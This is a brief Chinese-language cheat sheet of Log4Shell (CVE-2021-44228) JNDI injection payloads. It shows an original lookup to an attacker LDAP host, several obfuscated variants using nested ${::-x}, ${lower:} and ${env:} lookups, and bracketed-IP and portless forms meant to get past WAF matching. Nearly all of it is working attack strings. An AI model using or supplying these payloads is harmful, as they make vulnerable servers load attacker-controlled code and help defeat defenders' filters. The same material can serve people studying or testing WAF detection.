原來的poc:
${jndi:ldap://malicious-ldap-server.com/a}
繞過的poc:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://example.com/a}
可行
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/a}
不一定可行
${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}//example.com}
可行
unico字符串
下列表達式均等價於abc:
a${:-b}c
a${::-b}c
a${E:-a}c
a${xxxanycodexxxx:-b}c
log4j poc集合
https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis
● 不出現port,避免被waf匹配ip:port
${jndi:ldap:192.168.1.1/a}
${jndi:ldap:192.168.1.1:/a}
注意此時需要ldap服務端口為389
● 對IP添加包裹
前面兩個類的解析邏輯中都有對中括號[]的處理,所以給ip添加一下包裹
${jndi:ldap://[192.168.34.96]/a}
${jndi:ldap://[192.168.34.96]]/a}
LdapURL取出"[ip]",LdapCtx去除[]獲得ip,兩種情況下端口都是389